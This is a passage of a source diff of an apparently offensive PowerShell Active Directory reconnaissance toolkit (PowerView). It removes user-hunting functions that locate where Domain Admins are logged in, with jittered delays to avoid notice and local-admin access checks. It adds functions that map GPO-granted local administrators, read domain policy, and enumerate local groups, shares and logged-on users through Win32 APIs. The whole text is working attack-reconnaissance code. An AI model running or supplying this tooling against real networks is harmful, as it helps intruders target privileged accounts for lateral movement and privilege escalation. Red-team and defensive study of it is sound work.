if(!$ComputerName -and !$OUName) { + Throw "-ComputerName or -OUName must be provided" + } - .EXAMPLE - > Invoke-UserHunter -Domain 'testing' - Finds machines on the 'testing' domain where domain admins are logged into. + if($ComputerName) { + $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData - .EXAMPLE - > Invoke-UserHunter -UserList users.txt -HostList hosts.txt - Finds machines in hosts.txt where any members of users.txt are logged in - or have sessions. + if(!$Computers) { + throw "Computer $Computer in domain '$Domain' not found!" + } + + ForEach($Computer in $Computers) { + # extract all OUs a computer is a part of + $DN = $Computer.distinguishedname - .EXAMPLE - > Invoke-UserHunter -GroupName "Power Users" -Delay 60 - Find machines on the domain where members of the "Power Users" groups are - logged into with a 60 second (+/- *.3) randomized delay between - touching each host. + $TargetOUs = $DN.split(",") | Foreach-Object { + if($_.startswith("OU=")) { + $DN.substring($DN.indexof($_)) + } + } + } + } + else { + $TargetOUs = @($OUName) + } - .LINK - http://blog.harmj0y.net - #> + Write-Verbose "Target OUs: $TargetOUs" - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, + $TargetOUs | Where-Object {$_} | Foreach-Object { - [string] - $HostList, + $OU = $_ - [string] - $HostFilter, + # for each OU the computer is a part of, get the full OU object + $GPOgroups = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData | Foreach-Object { + # and then get any GPO links + $_.gplink.split("][") | Foreach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } | Foreach-Object { + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $_ + 'UsePSDrive' = $UsePSDrive + } - [string] - $GroupName = 'Domain Admins', + # for each GPO link, get any locally set user/group SIDs + Get-NetGPOGroup @GPOGroupArgs + } - [string] - $OU, + # for each found GPO group, resolve the SIDs of the members + $GPOgroups | Where-Object {$_} | Foreach-Object { + $GPO = $_ + $GPO.members | Foreach-Object { - [string] - $Filter, + # resolvethis SID to a domain object + $Object = Get-ADObject -Domain $Domain -DomainController $DomainController $_ - [string] - $UserName, + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.name + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $($Object.samaccounttype -match '268435456') + $GPOComputerAdmin - [Switch] - $CheckAccess, + # if we're recursing and the current result object is a group + if($Recurse -and $GPOComputerAdmin.isGroup) { - [Switch] - $StopOnSuccess, + Get-NetGroupMember -SID $_ -FullData -Recurse | Foreach-Object { - [Switch] - $NoPing, + $MemberDN = $_.distinguishedName - [UInt32] - $Delay = 0, + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - [double] - $Jitter = .3, + if ($_.samAccountType -ne "805306368") { + $MemberIsGroup = $True + } + else { + $MemberIsGroup = $False + } - [string] - $UserList, + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn + } + } - [string] - $Domain, + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $GPOComputerAdmin + } + } + } + } + } + } +} - [Switch] - $ShowAll - ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } +function Get-DomainPolicy { +<# + .SYNOPSIS - # users we're going to be searching for - $TargetUsers = @() + Returns the default domain or DC policy for a given + domain or domain controller. - # random object for delay - $randNo = New-Object System.Random + Thanks Sean Metacalf (@pyrotek3) for the idea and guidance. - # get the current user - $CurrentUser = Get-NetCurrentUser - $CurrentUserBase = ([Environment]::UserName).toLower() + .PARAMETER Source - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } + Extract Domain or DC (domain controller) policies. - Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" - } + .PARAMETER Domain - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } + The domain to query for default policies, defaults to the current domain. - # if we're showing all results, skip username enumeration - if($ShowAll){} - # if we get a specific username, only use that - elseif ($UserName){ - Write-Verbose "[*] Using target user '$UserName'..." - $TargetUsers += $UserName.ToLower() - } - # get the users from a particular OU if one is specified - elseif($OU){ - $TargetUsers = Get-NetUser -OU $OU | ForEach-Object {$_.samaccountname} - } - # use a specific LDAP query string to query for users - elseif($Filter){ - $TargetUsers = Get-NetUser -Filter $Filter | ForEach-Object {$_.samaccountname} - } - # read in a target user list if we have one - elseif($UserList){ - $TargetUsers = @() - # make sure the list exists - if (Test-Path -Path $UserList){ - $TargetUsers = Get-Content -Path $UserList - } - else { - Write-Warning "[!] Input file '$UserList' doesn't exist!" - return - } - } - else{ - # otherwise default to the group name to query for target users - Write-Verbose "[*] Querying domain group '$GroupName' for target users..." - $temp = Get-NetGroup -GroupName $GroupName -Domain $targetDomain | % {$_.MemberName} - # lower case all of the found usernames - $TargetUsers = $temp | ForEach-Object {$_.ToLower() } - } + .PARAMETER DomainController - if ((-not $ShowAll) -and (($TargetUsers -eq $null) -or ($TargetUsers.Count -eq 0))){ - Write-Warning "[!] No users found to search for!" - return - } - } + Domain controller to reflect LDAP queries through. + + .PARAMETER ResolveSids + + Switch. Resolve Sids from a DC policy to object names. + + .PARAMETER UsePSDrive - process { - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } + Switch. Mount any found policy files with temporary PSDrives. - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts + .EXAMPLE - if(-not $NoPing){ - $Hosts = $Hosts | Invoke-Ping - } + PS C:\> Get-NetGPO - $HostCount = $Hosts.Count - Write-Verbose "[*] Total number of hosts: $HostCount" + Returns the GPOs in the current domain. +#> - $counter = 0 + [CmdletBinding()] + Param ( + [String] + [ValidateSet("Domain","DC")] + $Source ="Domain", - foreach ($server in $Hosts){ + [String] + $Domain, - $counter = $counter + 1 + [String] + $DomainController, - # make sure we get a server name - if ($server -ne ''){ - $found = $false + [Switch] + $ResolveSids, - # sleep for our semi-randomized interval - Start-Sleep -Seconds $randNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + [Switch] + $UsePSDrive + ) - Write-Verbose "[*] Enumerating server $server ($counter of $($Hosts.count))" + if($Source -eq "Domain") { + # query the given domain for the default domain policy object + $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{31B2F340-016D-11D2-945F-00C04FB984F9}" + + if($GPO) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" - # get active sessions and see if there's a target user there - $sessions = Get-NetSessions -HostName $server - foreach ($session in $sessions) { - $username = $session.sesi10_username - $cname = $session.sesi10_cname - $activetime = $session.sesi10_time - $idletime = $session.sesi10_idle_time + $ParseArgs = @{ + 'GptTmplPath' = $GptTmplPath + 'UsePSDrive' = $UsePSDrive + } - # make sure we have a result - if (($username -ne $null) -and ($username.trim() -ne '') -and ($username.trim().toLower() -ne $CurrentUserBase)){ - # if the session user is in the target list, display some output - if ($ShowAll -or $($TargetUsers -contains $username)){ - $found = $true - $ip = Get-HostIP -hostname $Server - - if($cname.StartsWith("\\")){ - $cname = $cname.TrimStart("\") - } + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs + } - $out = new-object psobject - $out | add-member Noteproperty 'TargetUser' $username - $out | add-member Noteproperty 'Computer' $server - $out | add-member Noteproperty 'IP' $ip - $out | add-member Noteproperty 'SessionFrom' $cname + } + elseif($Source -eq "DC") { + # query the given domain/dc for the default domain controller policy object + $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{6AC1786C-016F-11D2-945F-00C04FB984F9}" - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess){ - $admin = Invoke-CheckLocalAdminAccess -Hostname $cname - $out | add-member Noteproperty 'LocalAdmin' $admin - } - else{ - $out | add-member Noteproperty 'LocalAdmin' $Null - } - $out - } - } - } + if($GPO) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" - # get any logged on users and see if there's a target user there - $users = Get-NetLoggedon -HostName $server - foreach ($user in $users) { - $username = $user.wkui1_username - $domain = $user.wkui1_logon_domain + $ParseArgs = @{ + 'GptTmplPath' = $GptTmplPath + 'UsePSDrive' = $UsePSDrive + } - if (($username -ne $null) -and ($username.trim() -ne '')){ - # if the session user is in the target list, display some output - if ($ShowAll -or $($TargetUsers -contains $username)){ - $found = $true - $ip = Get-HostIP -hostname $Server + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs | Foreach-Object { + if($ResolveSids) { + # if we're resolving sids in PrivilegeRights to names + $Policy = New-Object PSObject + $_.psobject.properties | Foreach-Object { + if( $_.Name -eq 'PrivilegeRights') { - $out = new-object psobject - $out | add-member Noteproperty 'TargetUser' $username - $out | add-member Noteproperty 'Computer' $server - $out | add-member Noteproperty 'IP' $ip - $out | add-member Noteproperty 'SessionFrom' $Null + $PrivilegeRights = New-Object PSObject + # for every nested SID member of PrivilegeRights, try to + # unpack everything and resolve the SIDs as appropriate + $_.Value.psobject.properties | Foreach-Object { - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess){ - $admin = Invoke-CheckLocalAdminAccess -Hostname $server - $out | add-member Noteproperty 'LocalAdmin' $admin - } - else{ - $out | add-member Noteproperty 'LocalAdmin' $Null + $Sids = $_.Value | Foreach-Object { + try { + if($_ -isnot [System.Array]) { + Convert-SidToName $_ + } + else { + $_ | Foreach-Object { Convert-SidToName $_ } + } + } + catch { + Write-Debug "Error resolving SID : $_" + } + } + + $PrivilegeRights | Add-Member Noteproperty $_.Name $Sids } - $out + + $Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights + } + else { + $Policy | Add-Member Noteproperty $_.Name $_.Value } } + $Policy } - - if ($StopOnSuccess -and $found) { - Write-Verbose "[*] User found, returning early" - return - } + else { $_ } } } } } -function Invoke-UserHunterThreaded { - <# - .SYNOPSIS - Finds which machines users of a specified group are logged into. - Threaded version of Invoke-UserHunter. Uses multithreading to - speed up enumeration. - - Author: @harmj0y - License: BSD 3-Clause - - .DESCRIPTION - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for users of a specified group (default "domain admins") - with Get-NetGroup or reads in a target user list, queries the domain for all - active machines with Get-NetComputers or reads in a pre-populated host list, - randomly shuffles the target list, then for each server it gets a list of - active users with Get-NetSessions/Get-NetLoggedon. The found user list is compared - against the target list, and a status message is displayed for any hits. - The flag -CheckAccess will check each positive host to see if the current - user has local admin access to the machine. - Threaded version of Invoke-UserHunter. - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. +######################################################## +# +# Functions that enumerate a single host, either through +# WinNT, WMI, remote registry, or API calls +# (with PSReflect). +# +######################################################## - .PARAMETER HostList - List of hostnames/IPs to search. +function Get-NetLocalGroup { +<# + .SYNOPSIS - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. + Gets a list of all current users in a specified local group, + or returns the names of all local groups with -ListGroups. - .PARAMETER GroupName - Group name to query for target users. + .PARAMETER ComputerName - .PARAMETER OU - The OU to pull users from. + The hostname or IP to query for local group users. - .PARAMETER Filter - The complete LDAP query string to use to query for users. + .PARAMETER ComputerFile - .PARAMETER UserName - Specific username to search for. + File of hostnames/IPs to query for local group users. - .PARAMETER UserList - List of usernames to search for. + .PARAMETER GroupName - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. + The local group name to query for users. If not given, it defaults to "Administrators" - .PARAMETER CheckAccess - Check if the current user has local admin access to found machines. + .PARAMETER ListGroups - .PARAMETER Domain - Domain for query for machines. + Switch. List all the local groups instead of their members. + Old Get-NetLocalGroups functionality. - .PARAMETER MaxThreads - The maximum concurrent threads to execute. + .PARAMETER Recurse - .PARAMETER ShowAll - Return all user location results, i.e. Invoke-UserView functionality. + Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine. - .EXAMPLE - > Invoke-UserHunter - Finds machines on the local domain where domain admins are logged into. + .EXAMPLE - .EXAMPLE - > Invoke-UserHunter -Domain 'testing' - Finds machines on the 'testing' domain where domain admins are logged into. + PS C:\> Get-NetLocalGroup - .EXAMPLE - > Invoke-UserHunter -CheckAccess - Finds machines on the local domain where domain admins are logged into - and checks if the current user has local administrator access. + Returns the usernames that of members of localgroup "Administrators" on the local host. - .EXAMPLE - > Invoke-UserHunter -UserList users.txt -HostList hosts.txt - Finds machines in hosts.txt where any members of users.txt are logged in - or have sessions. + .EXAMPLE - .EXAMPLE - > Invoke-UserHunter -UserName jsmith -CheckAccess - Find machines on the domain where jsmith is logged into and checks if - the current user has local administrator access. + PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP - .LINK - http://blog.harmj0y.net - #> + Returns all the local administrator accounts for WINDOWSXP - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, + .EXAMPLE - [string] - $GroupName = 'Domain Admins', + PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Resurse - [string] - $OU, + Returns all effective local/domain users/groups that can access WINDOWS7 with + local administrative privileges. - [string] - $Filter, + .EXAMPLE - [string] - $UserName, + PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups - [Switch] - $CheckAccess, + Returns all local groups on the WINDOWS7 host. - [Switch] - $NoPing, + .LINK - [string] - $HostList, + http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together + http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +#> - [string] - $HostFilter, + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost', - [string] - $UserList, + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, - [string] - $Domain, + [String] + $GroupName = 'Administrators', - [int] - $MaxThreads = 20, + [Switch] + $ListGroups, [Switch] - $ShowAll + $Recurse ) begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # users we're going to be searching for - $TargetUsers = @() - - # get the current user - $CurrentUser = Get-NetCurrentUser - $CurrentUserBase = ([Environment]::UserName).toLower() - - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } - - Write-Verbose "[*] Running Invoke-UserHunterThreaded with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" + if ((-not $ListGroups) -and (-not $GroupName)) { + # resolve the SID for the local admin group - this should usually default to "Administrators" + $ObjSID = New-Object System.Security.Principal.SecurityIdentifier('S-1-5-32-544') + $Objgroup = $ObjSID.Translate( [System.Security.Principal.NTAccount]) + $GroupName = ($Objgroup.Value).Split('\')[1] } + } + process { - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } + $Servers = @() - # if we're showing all results, skip username enumeration - if($ShowAll){} - # if we get a specific username, only use that - elseif ($UserName){ - Write-Verbose "[*] Using target user '$UserName'..." - $TargetUsers += $UserName.ToLower() - } - # get the users from a particular OU if one is specified - elseif($OU){ - $TargetUsers = Get-NetUser -OU $OU | ForEach-Object {$_.samaccountname} - } - # use a specific LDAP query string to query for users - elseif($Filter){ - $TargetUsers = Get-NetUser -Filter $Filter | ForEach-Object {$_.samaccountname} - } - # read in a target user list if we have one - elseif($UserList){ - $TargetUsers = @() - # make sure the list exists - if (Test-Path -Path $UserList){ - $TargetUsers = Get-Content -Path $UserList - } - else { - Write-Warning "[!] Input file '$UserList' doesn't exist!" - return - } + # if we have a host list passed, grab it + if($ComputerFile) { + $Servers = Get-Content -Path $ComputerFile } - else{ - # otherwise default to the group name to query for target users - Write-Verbose "[*] Querying domain group '$GroupName' for target users..." - $temp = Get-NetGroup -GroupName $GroupName -Domain $targetDomain | % {$_.MemberName} - # lower case all of the found usernames - $TargetUsers = $temp | ForEach-Object {$_.ToLower() } + else { + # otherwise assume a single host name + $Servers += Get-NameField -Object $ComputerName } - if ((-not $ShowAll) -and (($TargetUsers -eq $null) -or ($TargetUsers.Count -eq 0))){ - Write-Warning "[!] No users found to search for!" - return $Null - } + # query the specified group using the WINNT provider, and + # extract fields as appropriate from the results + ForEach($Server in $Servers) { + try { + if($ListGroups) { + # if we're listing the group names on a remote server + $Computer = [ADSI]"WinNT://$Server,computer" + + $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { + $Group = New-Object PSObject + $Group | Add-Member Noteproperty 'Server' $Server + $Group | Add-Member Noteproperty 'Group' ($_.name[0]) + $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) + $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) + $Group + } + } + else { + # otherwise we're listing the group members + $Members = @($([ADSI]"WinNT://$Server/$GroupName").psbase.Invoke('Members')) - # script block that eunmerates a server - # this is called by the multi-threading code later - $EnumServerBlock = { - param($Server, $Ping, $TargetUsers, $CurrentUser, $CurrentUserBase) + $Members | ForEach-Object { - # optionally check if the server is up first - $up = $true - if($Ping){ - $up = Test-Server -Server $Server - } - if($up){ - # get active sessions and see if there's a target user there - $sessions = Get-NetSessions -HostName $Server + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'Server' $Server - foreach ($session in $sessions) { - $username = $session.sesi10_username - $cname = $session.sesi10_cname - $activetime = $session.sesi10_time - $idletime = $session.sesi10_idle_time + $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') - # make sure we have a result - if (($username -ne $null) -and ($username.trim() -ne '') -and ($username.trim().toLower() -ne $CurrentUserBase)){ - # if the session user is in the target list, display some output - if ((-not $TargetUsers) -or ($TargetUsers -contains $username)){ + # try to translate the NT4 domain to a FQDN if possible + $Name = Convert-NT4toCanonical -ObjectName $AdsPath + if($Name) { + $FQDN = $Name.split("/")[0] + $ObjName = $AdsPath.split("/")[-1] + $Name = "$FQDN/$ObjName" + $IsDomain = $True + } + else { + $Name = $AdsPath + $IsDomain = $False + } - $ip = Get-HostIP -hostname $Server + $Member | Add-Member Noteproperty 'AccountName' $Name - if($cname.StartsWith("\\")){ - $cname = $cname.TrimStart("\") - } + # translate the binary sid to a string + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) - $out = new-object psobject - $out | add-member Noteproperty 'TargetUser' $username - $out | add-member Noteproperty 'Computer' $server - $out | add-member Noteproperty 'IP' $ip - $out | add-member Noteproperty 'SessionFrom' $cname + # if the account is local, check if it's disabled, if it's domain, always print $False + # TODO: fix this occasinal error? + $Member | Add-Member Noteproperty 'Disabled' $( if(-not $IsDomain) { try { $_.GetType().InvokeMember('AccountDisabled', 'GetProperty', $Null, $_, $Null) } catch { 'ERROR' } } else { $False } ) - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess){ - $admin = Invoke-CheckLocalAdminAccess -Hostname $cname - $out | add-member Noteproperty 'LocalAdmin' $admin + # check if the member is a group + $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + if($IsGroup) { + $Member | Add-Member Noteproperty 'LastLogin' "" + } + else { + try { + $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) } - else{ - $out | add-member Noteproperty 'LocalAdmin' $Null + catch { + $Member | Add-Member Noteproperty 'LastLogin' "" } - $out } - } - } + $Member - # get any logged on users and see if there's a target user there - $users = Get-NetLoggedon -HostName $Server - foreach ($user in $users) { - $username = $user.wkui1_username - $domain = $user.wkui1_logon_domain + # if the result is a group domain object and we're recursing, + # try to resolve all the group member results + if($Recurse -and $IsDomain -and $IsGroup) { - if (($username -ne $null) -and ($username.trim() -ne '')){ - # if the session user is in the target list, display some output - if ((-not $TargetUsers) -or ($TargetUsers -contains $username)){ + $FQDN = $Name.split("/")[0] + $GroupName = $Name.split("/")[1].trim() - $ip = Get-HostIP -hostname $Server + Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { - $out = new-object psobject - $out | add-member Noteproperty 'TargetUser' $username - $out | add-member Noteproperty 'Computer' $server - $out | add-member Noteproperty 'IP' $ip - $out | add-member Noteproperty 'SessionFrom' $Null + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'Server' $Name - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess){ - $admin = Invoke-CheckLocalAdminAccess -Hostname $server - $out | add-member Noteproperty 'LocalAdmin' $admin - } - else{ - $out | add-member Noteproperty 'LocalAdmin' $Null + $MemberDN = $_.distinguishedName + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + if ($_.samAccountType -ne "805306368") { + $MemberIsGroup = $True + } + else { + $MemberIsGroup = $False + } + + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { + try { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn + } + } + catch { + Write-Debug "Error resolving SID : $_" + } + } + + $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" + $Member | Add-Member Noteproperty 'SID' $_.objectsid + $Member | Add-Member Noteproperty 'Disabled' $False + $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $Member | Add-Member Noteproperty 'IsDomain' $True + $Member | Add-Member Noteproperty 'LastLogin' '' + $Member } - $out } } } } + catch { + Write-Warning "[!] Error: $_" + } } + } +} - # Adapted from: - # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ - $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() - # grab all the current variables for this runspace - $MyVars = Get-Variable -Scope 1 +function Get-NetShare { +<# + .SYNOPSIS + + This function will execute the NetShareEnum Win32API call to query + a given host for open shares. This is a replacement for + "net share \\hostname" + + .PARAMETER ComputerName + + The hostname to query for shares. Also accepts IP addresses. + + .OUTPUTS + + SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 + result structure which includes the name and note for each share. + + .EXAMPLE + + PS C:\> Get-NetShare + + Returns active shares on the local host. + + .EXAMPLE + + PS C:\> Get-NetShare -ComputerName sqlserver + + Returns active shares on the 'sqlserver' host +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # arguments for NetShareEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the share information + $Result = $Netapi32::NetShareEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + Write-Debug "Get-NetShare result: $Result" + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SHARE_INFO_1::GetSize() - # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice - $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SHARE_INFO_1 + # return all the sections of the structure + $Info | Select-Object * + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + } - # Add Variables from Parent Scope (current runspace) into the InitialSessionState - ForEach($Var in $MyVars) { - If($VorbiddenVars -notcontains $Var.Name) { - $sessionstate.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} } } + } +} - # Add Functions from current runspace to the InitialSessionState - ForEach($Function in (Get-ChildItem Function:)) { - $sessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) - } - # threading adapted from - # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 - # Thanks Carlos! +function Get-NetLoggedon { +<# + .SYNOPSIS - # create a pool of maxThread runspaces - $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host) - $pool.Open() + This function will execute the NetWkstaUserEnum Win32API call to query + a given host for actively logged on users. - $jobs = @() - $ps = @() - $wait = @() + .PARAMETER ComputerName - $counter = 0 - } + The hostname to query for logged on users. - process { + .OUTPUTS - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } + WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 + result structure which includes the username and domain of logged on users. - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts - $HostCount = $Hosts.Count - Write-Verbose "[*] Total number of hosts: $HostCount" + .EXAMPLE - foreach ($server in $Hosts){ - # make sure we get a server name - if ($server -ne ''){ - Write-Verbose "[*] Enumerating server $server ($($counter+1) of $($Hosts.count))" + PS C:\> Get-NetLoggedon - While ($($pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -milliseconds 500 - } + Returns users actively logged onto the local host. - # create a "powershell pipeline runner" - $ps += [powershell]::create() + .EXAMPLE - $ps[$counter].runspacepool = $pool + PS C:\> Get-NetLoggedon -ComputerName sqlserver - # add the script block + arguments - [void]$ps[$counter].AddScript($EnumServerBlock).AddParameter('Server', $server).AddParameter('Ping', -not $NoPing).AddParameter('TargetUsers', $TargetUsers).AddParameter('CurrentUser', $CurrentUser).AddParameter('CurrentUserBase', $CurrentUserBase) + Returns users actively logged onto the 'sqlserver' host. - # start job - $jobs += $ps[$counter].BeginInvoke(); + .LINK - # store wait handles for WaitForAll call - $wait += $jobs[$counter].AsyncWaitHandle - } - $counter = $counter + 1 + 